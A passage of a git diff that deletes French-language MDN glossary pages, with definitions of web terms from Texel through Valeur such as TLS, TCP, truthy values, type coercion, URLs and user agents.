Les textures sont caractérisées par des collections de Texel, comme la façon dont les images sont caractérisées par des collections de pixels. Lors du texture mapping, le moteur de rendu mappe Texel sur les pixels appropriés.

- -

Apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Texel (graphics)")}} sur Wikipédia
    • -
- -

En savoir plus

- - diff --git a/files/fr/glossaire/texte_brut/index.html b/files/fr/glossaire/texte_brut/index.html deleted file mode 100644 index 55efd24739..0000000000 --- a/files/fr/glossaire/texte_brut/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Texte brut -slug: Glossaire/Texte_brut -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Plaintext ---- -

Un texte brut désigne soit une information qui a été utilisée comme entrée pour un {{Glossary("algorithme")}} de {{Glossary("chiffrement")}} , soit un {{Glossary("cryptogramme")}} qui a été déchiffré.

- -

Ce terme est souvent utilisé comme synonyme de texte clair, qui fait plus vaguement référence à toute sorte d'information, comme un document texte, une image, etc., qui n'a pas été chiffrée et qui peut être lue par un humain ou un ordinateur sans traitement supplémentaire.

diff --git a/files/fr/glossaire/three_js/index.html b/files/fr/glossaire/three_js/index.html deleted file mode 100644 index 271ec51052..0000000000 --- a/files/fr/glossaire/three_js/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Three js -slug: Glossaire/Three_js -tags: - - JavaScript - - Langage de programmation - - Navigateur - - Programmation - - three.js -translation_of: Glossary/Three_js ---- -

three.js est un moteur {{Glossary("WebGL")}} en {{Glossary("JavaScript")}} capable d'exécuter directement dans le {{Glossary("Browser","navigateur")}} des jeux exploitant le GPU ainsi que d'autres applications graphiques. La bibliothèque three.js fournit de nombreuses fonctionnalités et {{Glossary("API")}} pour dessiner des scènes 3D dans votre navigateur. 

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/time_to_interactive/index.html b/files/fr/glossaire/time_to_interactive/index.html deleted file mode 100644 index c3de2d0abc..0000000000 --- a/files/fr/glossaire/time_to_interactive/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Time to interactive -slug: Glossaire/Time_to_interactive -tags: - - Glossaire - - Performance - - Performance Web - - Reference -translation_of: Glossary/Time_to_interactive ---- -

Time to Interactive (TTI) est une métrique de "progression" des performances web non standardisée définie comme le moment où la dernière Long Task s'est terminée et a été suivie de 5 secondes d'inactivité du réseau et du thread principal.

- -

TTI, proposé par le Web Incubator Community Group en 2018, est destiné à fournir une métrique qui décrit quand une page ou une application contient un contenu utile et que le fil principal est inactif et libre de répondre aux interactions des utilisateurs, y compris l'enregistrement des gestionnaires d'événements.

- -

Caveat:

- -

TTI est dérivé en exploitant les informations de {{domxref("Long Tasks API")}}. Bien que disponible dans certains outils de surveillances des performances, TTI ne fait partie d'aucune spécification Web officielle au moment de la rédaction.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/tld/index.html b/files/fr/glossaire/tld/index.html deleted file mode 100644 index 49e43b684d..0000000000 --- a/files/fr/glossaire/tld/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: TLD -slug: Glossaire/TLD -tags: - - Glossaire - - Web - - WebMechanics -translation_of: Glossary/TLD ---- -

Un domaine de premier niveau ou TLD (top-level domain) est le {{Glossary("domaine")}} le plus générique de toute la hiérarchie {{Glossary("DNS")}} (système de noms de domaine) d'Internet. Un TLD est la composante finale d'un {{Glossary("nom de domaine")}}, par exemple, le "org" dans developer.mozilla.org.

- -

L'{{Glossary("ICANN")}} (Internet Corporation for Assigned Names and Numbers) désigne des organisations pour gérer chaque TLD. En fonction des contraintes que peuvent imposer ces organisations d'administration, le TLD apporte souvent une indication sur le but, le propriétaire ou la nationalité d'un site web.

- -

Considérons par exemple l'adresse Internet : https://developer.mozilla.org
- Ici,  org est le TLD ; mozilla.org est le nom de domaine de deuxième niveau ; et developer est un nom de sous-domaine. Ensemble, ces éléments constituent un nom de domaine pleinement qualifié ; l'ajout de https:// permet d'obtenir une URL complète.

- -

De nos jours, {{Glossary("IANA")}} divise les domaines de premier niveau en plusieurs groupes :

- -
-
country-code top-level domains (ccTLD)
-
Domaines sur deux caractères attribués aux pays et territoires. Exemple : .us pour les États-Unis.
-
internationalized country code top-level domains (IDN ccTLD)
-
ccTLDs qui utilisent des jeux de caractères non-latin (e.g., arabe ou chinois).
-
generic top-level domains (gTLD)
-
Domaines de premier niveau sur trois caractères ou plus.
-
unsponsored top-level domains
-
Domaines qui agissent pour la communauté globale d'Internet directement sous des stratégies établies les processus de l'ICANN, par exemple "com" et "edu".
-
sponsored top-level domains (sTLD)
-
Ces domaines sont proposés et sponsorisés par des organisations privées qui décident si un candidat est autorisé ou non à utiliser le TLD, compte-tenu des thématiques de la communauté concernée.
-
infrastructure top-level domain
-
Ce groupe consiste en un seul domaine, l'{{Glossary("ARPA", "ARPA")}} (Address and Routing Parameter Area).
-
- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/tls/index.html b/files/fr/glossaire/tls/index.html deleted file mode 100644 index 5d7ceb078c..0000000000 --- a/files/fr/glossaire/tls/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: TLS -slug: Glossaire/TLS -tags: - - Cryptographie - - Glossaire - - Infrastructure - - Sécurité -translation_of: Glossary/TLS ---- -

Transport Layer Security (TLS), comme son prédécesseur Secure Sockets Layer (SSL), est un {{Glossary("Protocol", "protocole")}} utilisé par les applications pour communiquer de manière sécurisée à travers un réseau, tout en prévenant la falsification et l'interception des courriels, navigations web, messageries et autres protocoles.

- -

Tous les navigateurs modernes supportent le protocole TLS, nécessitant l'envoi par le serveur d'un {{Glossary("Digital certificate", "certificat numérique")}} valide pour confirmer son identité afin de pouvoir établir une connexion sécurisée. Il est possible pour le client et le serveur de s'authentifier mutuellement, si chacune des deux parties fournit son propre certificat numérique individuel.

- -

Pour approfondir

- -

Culture générale

- - - -

Spécifications

- -
    -
  • RFC 5246 (The Transport Layer Security Protocol, Version 1.2)
    • -
diff --git a/files/fr/glossaire/tofu/index.html b/files/fr/glossaire/tofu/index.html deleted file mode 100644 index 10d8d0c878..0000000000 --- a/files/fr/glossaire/tofu/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: TOFU -slug: Glossaire/TOFU -tags: - - Glossaire - - HTTP - - Sécurité -translation_of: Glossary/TOFU ---- -

Trust On First Use (TOFU) (confiance à la première utilisation) est un modèle de sécurité dans lequel un client doit créer une relation avec un serveur inconnu. Pour ce faire, les clients rechercheront des identifiants (par exemple des clés publiques) stockés localement. Si un identifiant est trouvé, le client peut établir la connexion. Si aucun identifiant n'est trouvé, le client peut demander à l'utilisateur de déterminer si le client doit approuver l'identifiant.

- -

TOFU est utilisé dans le protocole SSH, dans HTTP Public Key Pinning ({{Glossary("HPKP")}}) où les navigateurs accepteront la première clé publique renvoyée par le serveur et dans {{HTTPHeader("Strict-Transport-Security")}}  ({{Glossary("HSTS")}}) où un navigateur obéira à la règle de redirection.

- -
-

En apprendre plus

- - -
diff --git a/files/fr/glossaire/transmission_control_protocol_(tcp)/index.html b/files/fr/glossaire/transmission_control_protocol_(tcp)/index.html deleted file mode 100644 index c80f5bf9fb..0000000000 --- a/files/fr/glossaire/transmission_control_protocol_(tcp)/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Transmission Control Protocol (TCP) -slug: Glossaire/Transmission_Control_Protocol_(TCP) -tags: - - Glossary - - Networking - - Performance Web - - SSL - - Security - - TCP - - TLS - - Web Performance -translation_of: Glossary/Transmission_Control_Protocol_(TCP) ---- -

TCP (Transmission Control Protocol) est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise des ports virtuels pour créer une connexion virtuelle de bout en bout capable de réutiliser les connexions physiques entre deux ordinateurs. TCP encapsule les données de protocole de niveau supérieur telles que {{glossary('HTTP')}} et, {{glossary('SMTP')}} (email).

- -

{{glossary('TCP Handshake')}}

- -

La négociation en trois étapes TCP, également appelée TCP handshake, négociation en TCP, et SYN-SYN-ACK, est la méthode utilisée par TCP pour établir une connexion TCP / IP sur un réseau IP. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont surnommés SYN, SYN-ACK, ACK pour SYNchronize, SYNchronize ACKquitment de réception et ACKquitement. Le mécanisme à trois messages est conçu pour les deux ordinateurs qui souhaitent échanger des informations et peuvent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/tree_shaking/index.html b/files/fr/glossaire/tree_shaking/index.html deleted file mode 100644 index b06984c406..0000000000 --- a/files/fr/glossaire/tree_shaking/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Tree shaking -slug: Glossaire/Tree_shaking -tags: - - Glossaire - - JavaScript -translation_of: Glossary/Tree_shaking ---- -

Tree shaking est un terme couramment utilisé dans un contexte JavaScript pour décrire la suppression du code mort.

- -

Il repose sur les états import et export en ES6 pour détecter si les modules de code sont exportés et importés pour une utilisation entre des fichiers JavaScript. 

- -

Dans les applications JavaScript modernes, nous utilisons des gestionnaires de regroupements de modules (par exemple, webpack ou Rollup) pour supprimer automatiquement le code mort lors du regroupement de plusieurs fichiers JavaScript dans des fichiers uniques. Ceci est important pour préparer un code prêt pour la production, par exemple avec des structures propres et une taille de fichier minimale.

- -

En apprendre plus

- -

Culture générale

- - - -

Références techniques

- - diff --git a/files/fr/glossaire/tri_par_cartes/index.html b/files/fr/glossaire/tri_par_cartes/index.html deleted file mode 100644 index 95f50f5c2c..0000000000 --- a/files/fr/glossaire/tri_par_cartes/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Tri par cartes -slug: Glossaire/Tri_par_cartes -tags: - - Conception - - Glossaire -translation_of: Glossary/Card_sorting ---- -

Le tri par cartes est une méthode simple utilisée en {{glossary("Information architecture","architecture informatique")}}. Les gens impliqués dans la conception d'un site (ou d'un autre type de produit) sont invités à formaliser le contenu, les services et les fonctionnalités qui leur semblent essentiels au produit. Ensuite, ces fonctionnalités sont triées par catégories ou groupements. Cette technique peut être utile pour déterminer, par exemple, ce qui devrait aller sur chaque page d'un site. L'origine du nom est simple : souvent, le tri par carte consiste à écrire des éléments à trier sur des cartes et à ensuite trier ces cartes dans différentes piles.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/trident/index.html b/files/fr/glossaire/trident/index.html deleted file mode 100644 index ff2ac836cb..0000000000 --- a/files/fr/glossaire/trident/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Trident -slug: Glossaire/Trident -tags: - - Glossaire - - Infrastructure - - Navigateur - - Trident -translation_of: Glossary/Trident ---- -

Trident (ou MSHTML) est un moteur de rendu qui fait fonctionner {{Glossary("Microsoft Internet Explorer","Internet Explorer")}}.  Un "{{Glossary("Fork","embranchement")}}" de Trident appelé EdgeHTML a remplacé Trident dans le successeur d'Internet Explorer, {{Glossary("Microsoft Edge","Edge")}}.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/truthy/index.html b/files/fr/glossaire/truthy/index.html deleted file mode 100644 index 62ed641a6b..0000000000 --- a/files/fr/glossaire/truthy/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Truthy -slug: Glossaire/Truthy -tags: - - Glossaire - - JavaScript - - Programmation -translation_of: Glossary/Truthy ---- -

En {{Glossary("JavaScript")}}, une valeur truthy est une valeur qui est considérée comme vraie quand elle est évaluée dans un contexte {{Glossary("Boolean","booléen")}} . Toutes les valeurs sont truthy sauf si elles sont definies comme {{Glossary("Falsy","falsy")}} (c'est-à-dire, sauf pour false, 0, "", null, undefined, et NaN).

- -


- {{Glossary("JavaScript")}} utilise la {{Glossary("Type_Conversion", "contrainte")}} de type dans un contexte booléen.

- -


- Exemples de valeurs truthy en JavaScript (qui seront considérées comme vraies, ce qui exécutera le bloc if):

- -
if (true)
-if ({})
-if ([])
-if (42)
-if ("foo")
-if (new Date())
-if (-42)
-if (3.14)
-if (-3.14)
-if (Infinity)
-if (-Infinity)
- -

Voir aussi 

- -
    -
  • {{Glossary("Falsy")}}
    • -
  • {{Glossary("Type_Conversion", "Contrainte")}}
    • -
  • {{Glossary("Boolean","Booléen")}}
    • -
diff --git a/files/fr/glossaire/ttl/index.html b/files/fr/glossaire/ttl/index.html deleted file mode 100644 index 0ec25656b2..0000000000 --- a/files/fr/glossaire/ttl/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: TTL -slug: Glossaire/TTL -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/TTL ---- -

TTL peut se référer soit à :

- -
    -
  • la durée de vie d'un paquet dans un réseau (avant de pouvoir être libéré)
    • -
  • l'heure d'expiration des données mises en cache
    • -
- -

Dans le réseau

- -

Le TTL, intégré dans le paquet, est généralement défini comme un nombre de sauts ou comme un horodatage d'expiration au-delà duquel le paquet est abandonné. Il offre un moyen d'éviter la congestion du réseau et de libérer des paquets après qu'ils ont parcouru le réseau trop longtemps.

- -

Mise en cache

- -

Dans le contexte du cache, TTL (en tant qu'entier non signé de 32 bits) fait partie de l'{{Glossary("Response header","en-tête de réponse HTTP")}} ou de la requête {{Glossary("DNS")}}, indique la durée en secondes pendant laquelle la ressource peut être mise en cache par le demandeur.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Time_to_Live", "Time to Live")}} sur Wikipedia
    • -
- -

Références techniques

- - diff --git a/files/fr/glossaire/turn/index.html b/files/fr/glossaire/turn/index.html deleted file mode 100644 index 39c0be23b8..0000000000 --- a/files/fr/glossaire/turn/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: TURN -slug: Glossaire/TURN -tags: - - Glossaire - - Infrastructure - - Mécanismes web - - WebRTC -translation_of: Glossary/TURN ---- -

TURN (Traversal Using Relays around NAT) est un {{Glossary("protocol","protocole")}} permettant à un ordinateur de recevoir et d'envoyer des données malgré l'utilisation de {{glossary("NAT", "translation d'adresse réseau")}} (NAT) ou le fait d'être derrière un pare-feu.

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - - -
    -
diff --git a/files/fr/glossaire/typage_dynamique/index.html b/files/fr/glossaire/typage_dynamique/index.html deleted file mode 100644 index e623406f41..0000000000 --- a/files/fr/glossaire/typage_dynamique/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Typage dynamique -slug: Glossaire/typage_dynamique -tags: - - Encodage - - Glossaire - - Langage - - Programmation -translation_of: Glossary/Dynamic_typing ---- -

Les langages à typage dynamique sont ceux (comme {{glossary("JavaScript")}}) dont l'interpréteur attribue aux {{glossary("variable","variables")}} un {{glossary("type")}} lors de l'exécution en fonction de la {{glossary("Value","valeur")}} qu'elles possèdent à ce moment.

- -

Pour en savoir plus

- -

Apprendre sur ce sujet

- - - -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Type_(informatique)#Typage_statique_et_typage_dynamique", "Type (informatique)")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/typage_statique/index.html b/files/fr/glossaire/typage_statique/index.html deleted file mode 100644 index c5e3902bf1..0000000000 --- a/files/fr/glossaire/typage_statique/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Typage statique -slug: Glossaire/typage_statique -tags: - - Glossaire - - Programmation - - Type -translation_of: Glossary/Static_typing ---- -

Un langage à typage statique est un langage (comme Java, C ou C++) avec lequel les types des variables sont connus lors de la compilation et doivent être spécifiés expressément par le programmeur. Dans la plupart de ces langages, les types doivent être expressément indiqués par le programmeur ; dans d'autres cas (comme OCaml), l'inférence de type permet au programmeur de ne pas indiquer les types de variables.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Type (informatique)")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/type/index.html b/files/fr/glossaire/type/index.html deleted file mode 100644 index f50195b94b..0000000000 --- a/files/fr/glossaire/type/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Type -slug: Glossaire/Type -tags: - - Encodage - - Glossaire - - JavaScript - - Programmation -translation_of: Glossary/Type ---- -

Le type (ou type de donnée) est une caractéristique d'une {{glossary("Value","valeur")}} qui détermine le genre de données qu'elle peut stocker - par exemple, en JavaScript, un  {{domxref("Boolean")}} ne contient que des valeurs true (vrai) / false (faux), alors qu'une {{domxref("String")}} (chaîne de caractères) contient des chaînes de texte, un  {{domxref("Number")}} contient toute sorte de nombres, etc.

- -

Le type de données d'une valeur affecte également les opérations valides sur cette valeur. Par exemple, un entier peut être multiplié par un entier, mais pas par une chaîne de caractères.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/type_coercion/index.html b/files/fr/glossaire/type_coercion/index.html deleted file mode 100644 index eb719b4bd6..0000000000 --- a/files/fr/glossaire/type_coercion/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Type coercion -slug: Glossaire/Type_coercion -tags: - - Coercion - - JavaScript - - Type coercion -translation_of: Glossary/Type_coercion ---- -

La type coercion (en français, coercition de type) est la conversion automatique ou implicite de valeurs d'un type de données à un autre (par exemple : de string à nombre). La {{Glossary("type conversion")}} est similaire à la type coercion puisque les deux convertissent des valeurs d'un type de données à un autre. La différence fondamentale entre elles est que la type coercion est implicite alors que la type conversion peut être implicite ou explicite.

- -

Exemples

- -
const valeur1 = '5';
-const valeur2 = 9;
-let somme = valeur1 + valeur2;
-
-console.log(somme);
- -

Dans l'exemple ci-dessus, Javascript a coercé le nombre 9 en une string, et a concaténé les deux valeurs, ce qui donne comme résultat la string 59. JavaScript avait le choix entre une string et un nombre et a décidé d'utiliser une string.

- -

Le compilateur aurait pu coercer le 5 en un nombre et retourner la somme de 14, mais ce n'est pas ce qu'il a fait. Pour pouvoir retourner 14, il aurait fallu explicitement convertir le 5 en un nombre grâce à la méthode {{jsxref("Global_Objects/Number", "Number()")}}:

- -
somme = Number(valeur1) + valeur2;
- - diff --git a/files/fr/glossaire/type_mime/index.html b/files/fr/glossaire/type_mime/index.html deleted file mode 100644 index fac6477869..0000000000 --- a/files/fr/glossaire/type_mime/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Type MIME -slug: Glossaire/Type_MIME -tags: - - Glossaire - - Mécanismes web -translation_of: Glossary/MIME_type ---- -

Un type MIME (désormais correctement appelé "media type", mais aussi parfois "content type") est une chaîne de caractères envoyée avec un fichier pour en indiquer le type (par exemple, un fichier sonore sera étiqueté audio/ogg ou un fichier graphique image/png).

- -

Il répond au même objectif que les extensions de fichiers traditionnellement utilisées sous Windows. Le nom vient de la norme MIME initialement utilisée dans E-Mail.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Type MIME", "Internet media type")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/udp/index.html b/files/fr/glossaire/udp/index.html deleted file mode 100644 index fa9acee383..0000000000 --- a/files/fr/glossaire/udp/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: UDP -slug: Glossaire/UDP -tags: - - Glossaire - - Infrastructure - - UDP -translation_of: Glossary/UDP ---- -

UDP (User Datagram Protocol) est un {{glossary("protocol","protocole")}} de longue date utilisé avec {{glossary("IPv6","IP")}} pour envoyer des données lorsque la vitesse de transmission et l'efficacité importent davantage que la sécurité et la fiabilitié.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","User_Datagram_Protocol","User Datagram Protocol")}} sur Wikipédia
    • -
- -

Référence technique

- - - -
    -
diff --git a/files/fr/glossaire/ui/index.html b/files/fr/glossaire/ui/index.html deleted file mode 100644 index c32d5e4900..0000000000 --- a/files/fr/glossaire/ui/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: UI -slug: Glossaire/UI -tags: - - Glossaire -translation_of: Glossary/UI ---- -

L'interface utilisateur (ou UI pour User Interface en anglais) est tout ce qui facilite l'interaction entre un utilisateur et une machine. Dans le domaine de l'informatique, cela peut correspondre à tout, du clavier au programme, en passant par la manette de jeu ou un écran. Dans le cas des logiciels informatiques, il peut s'agir d'une invite en ligne de commande, d'une page web, d'un formulaire de saisie utilisateur ou de l'interface d'une application.

- -

Pour en savoir plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/undefined/index.html b/files/fr/glossaire/undefined/index.html deleted file mode 100644 index d75fa72d40..0000000000 --- a/files/fr/glossaire/undefined/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Undefined -slug: Glossaire/undefined -tags: - - Encodage - - Glossaire -translation_of: Glossary/undefined ---- -

Une Valeur {{Glossary("primitive")}} affectée automatiquement aux {{Glossary("Variable","variables")}} qui viennent d'être déclarées ou aux {{Glossary("Argument","arguments")}} formels pour lesquels il n'y a pas d'arguments réels.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Valeur#Sciences_exactes","Valeur")}} sur Wikipedia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/unicode/index.html b/files/fr/glossaire/unicode/index.html deleted file mode 100644 index 492d21a1e3..0000000000 --- a/files/fr/glossaire/unicode/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Unicode -slug: Glossaire/Unicode -tags: - - Caractères - - Glossaire -translation_of: Glossary/Unicode ---- -

Unicode est une {{Glossary("Character set","police de caractères")}} standard qui énumère et définit les {{Glossary("Character","caractères")}} des différentes langues du monde, systèmes d'écriture et symboles. En attribuant un nombre à chaque caractère, les programmeurs peuvent {{Glossary("Character encoding", "encoder des caractères")}}, pour permettre aux ordinateurs de stocker, traiter et transmettre toute combinaison de langues dans le même fichier ou programme.

- -

Avant Unicode, il était difficile et sujet aux erreurs de mélanger les langues dans les mêmes données. Par exemple, un jeu de caractères stocke des caractères japonais et un autre stocke l'alphabet arabe. S'il n'était pas clairement indiqué quelles parties des données étaient dans quel jeu de caractères, d'autres programmes et ordinateurs affichaient incorrectement le texte ou l'endommageaient pendant le traitement. Si vous avez déjà vu du texte où des caractères comme des citations entre guillemets en cursives (“”) remplacés par du charabia comme £,alors vous avez vu ce problème, connu sous le nom {{Interwiki("wikipedia", "Mojibake")}}.

- -

Le codage de caractères Unicode le plus courant sur le Web est {{Glossary("UTF-8")}}. D'autres encodages existent, comme UTF-16 ou l'obsolète UCS-2, mais UTF-8 est recommandé.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/uri/index.html b/files/fr/glossaire/uri/index.html deleted file mode 100644 index 452f0d7993..0000000000 --- a/files/fr/glossaire/uri/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: URI -slug: Glossaire/URI -tags: - - Glossaire - - HTTP - - Recherche - - URI - - URL -translation_of: Glossary/URI ---- -

Un URI (Uniform Resource Identifier) (Identifiant de ressource uniforme ) est une chaîne qui fait référence à une ressource. Les plus courantes sont les {{Glossary("URL")}}, qui identifient une ressource en donnant son emplacement sur le Web. Au contraire, les {{Glossary("URN")}} font référence à une ressource grâce à son nom, dans un environnement donné, par exemple le code ISBN d'un livre.

- -

Voir aussi

- - diff --git a/files/fr/glossaire/url/index.html b/files/fr/glossaire/url/index.html deleted file mode 100644 index 9a552c4a60..0000000000 --- a/files/fr/glossaire/url/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: URL -slug: Glossaire/URL -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/URL ---- -

Uniform Resource Locator (URL) est une chaîne de texte qui spécifie où une ressource (telle qu'une page web, une image ou une vidéo) peut être trouvée sur Internet.

- -

Dans le contexte de {{Glossary("HTTP")}}, les URL sont appelées "adresse web" ou "lien". Votre {{glossary("browser")}} affiche les URL dans sa barre d'adresse, par exmple: https://developer.mozilla.org. Certains navigateurs affichent uniquement la partie d'une URL après le "//", c'est-à-dire le {{Glossary("Domain name")}}.

- -

Les URL peuvent également être utilisées pour le transfert de fichiers ({{Glossary("FTP")}}) , les e-mails ({{Glossary("SMTP")}}), et d'autres applications.

- -

En savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "URL")}} sur Wikipédia
    • -
- -

En savoir plus

- - - -

Spécification

- - diff --git a/files/fr/glossaire/urn/index.html b/files/fr/glossaire/urn/index.html deleted file mode 100644 index 55812381da..0000000000 --- a/files/fr/glossaire/urn/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: URN -slug: Glossaire/URN -tags: - - Glossaire - - Intro - - Navigation - - urn -translation_of: Glossary/URN ---- -

Un URN (Uniform Resource Name) est un {{Glossary("URI")}} dans un format standardisé faisant référence à une ressource sans spécifier son emplacement ni si elle existe. L'exemple suivant est issu de la RFC3986 : urn:oasis:names:specification:docbook:dtd:xml:4.1.2

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Uniform Resource Name", "URN")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/usenet/index.html b/files/fr/glossaire/usenet/index.html deleted file mode 100644 index 7f73d5f3ef..0000000000 --- a/files/fr/glossaire/usenet/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Usenet -slug: Glossaire/Usenet -tags: - - Glossaire - - WebMechanics -translation_of: Glossary/Usenet ---- -

Usenet est un système de discussion sur internet où chaque message est dupliqué sur plusieurs serveurs. Équivalent aux forums Internet actuels, Usenet fonctionnait comme un bulletin board system.

- -

Pour approfondir

- -

Culture générale

- -
 
- -
    -
  • {{Interwiki("wikipedia", "Usenet")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/user_agent/index.html b/files/fr/glossaire/user_agent/index.html deleted file mode 100644 index 9d52373700..0000000000 --- a/files/fr/glossaire/user_agent/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Agent utilisateur -slug: Glossaire/User_agent -tags: - - Glossaire - - Mécanismes web - - Web - - agent utilisateur -translation_of: Glossary/User_agent ---- -

Un agent utilisateur est un programme informatique qui représente une personne, par exemple, un {{Glossary("Navigateur","navigateur")}} dans le cadre d'une utilisation sur le {{Glossary("World Wide Web", "Web")}}.

- -

En dehors des navigateurs, un agent utilisateur peut être un aspirateur de sites, un gestionnaire de téléchargements ou toute autre application accédant au Web. Les navigateurs, lorsqu'ils effectuent des requêtes vers un serveur, y intègrent un en-tête {{Glossary("HTTP")}} auto-identifiant User-Agent appelé chaîne de caractères user agent (UA). Souvent, cette chaîne identifie le navigateur, son numéro de version ainsi que le système d'exploitation de l'hôte.

- -

Les spambots, gestionnaires de téléchargements et certains navigateurs envoient souvent des chaînes UA falsifiées pour se présenter eux-mêmes comme un client différent. Cette action est nommée user agent spoofing.

- -

Côté client, la chaîne de l'agent utilisateur est accessible en {{Glossary("JavaScript")}} avec navigator.userAgent.

- -

Une chaîne classique d'agent utilisateur ressemble à ceci : "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0". 

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/utf-8/index.html b/files/fr/glossaire/utf-8/index.html deleted file mode 100644 index b4dd418229..0000000000 --- a/files/fr/glossaire/utf-8/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: UTF-8 -slug: Glossaire/UTF-8 -tags: - - Encodage - - Glossaire - - HTML - - JavaScript - - Utf-8 -translation_of: Glossary/UTF-8 ---- -

UTF-8 (UCS Transformation Format 8) est le {{Glossary("Character encoding","codage de caractères")}} le plus répandu sur le world wide web. Chaque caractère est représenté par un à quatre octets. UTF-8 est rétro-compatible avec l'{{Glossary("ASCII")}} et peut représenter n'importe quel caractère Unicode.

- -

Les 128 premiers caractères UTF-8 correspondent exactement aux 128 premiers caractères ASCII (numérotés de 0 à 127), ce qui signifie que tous les textes ASCII existants sont déjà valides en UTF-8. Tous les autres caractères utilisent de deux à quatre octets. Chacun de ces octets possède quelques bits réservés à des fins d'encodage. Comme les caractères non-ASCII nécessitent plus d'un octet pour être enregistrés, ils courent le risque d'être corrompus s'ils sont séparés ou s'ils ne sont pas recombinés.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/ux/index.html b/files/fr/glossaire/ux/index.html deleted file mode 100644 index 4284964545..0000000000 --- a/files/fr/glossaire/ux/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: UX -slug: Glossaire/UX -tags: - - Accessibilité - - Composition - - Design - - Glossaire - - Glossary - - Navigation -translation_of: Glossary/UX ---- -

UX est un acronyme signifiant User eXperience (expérience utilisateur). Il s'agit de l'étude de l'interaction entre des utilisateurs et un système. Son objectif est de rendre l'interaction avec un système plus simple du point de vue de l'utilisateur.

- -

Le système peut être n'importe quel type de produit ou d'application avec lequel un utilisateur final est censé intéragir. Les études UX entreprises sur une page web par exemple peuvent servir à démontrer s'il est simple pour les utilisateurs de comprendre la page, naviguer dans différentes zones, réaliser des tâches simples et ainsi détecter où ce genre de processus pourrait être moins problématique.

- -

Approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Expérience utilisateur")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/valeur/index.html b/files/fr/glossaire/valeur/index.html deleted file mode 100644 index 3b2363a959..0000000000 --- a/files/fr/glossaire/valeur/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Valeur -slug: Glossaire/Valeur -tags: - - Encodage - - Glossaire -translation_of: Glossary/Value ---- -

En ce qui concerne les données ou un objet {{Glossary("Wrapper", "wrapper")}} enveloppant cette donnée, la valeur est la {{Glossary("Primitive","valeur primitive")}} que cet objet wrapper contient. Pour les {{Glossary("Variable","variables")}} ou les {{Glossary("Property","propriétés")}}, la valeur peut être soit une primitive, soit une {{Glossary("Object reference","référence d'objet")}}.

- -

Pour approfondir

- -

Culture générale

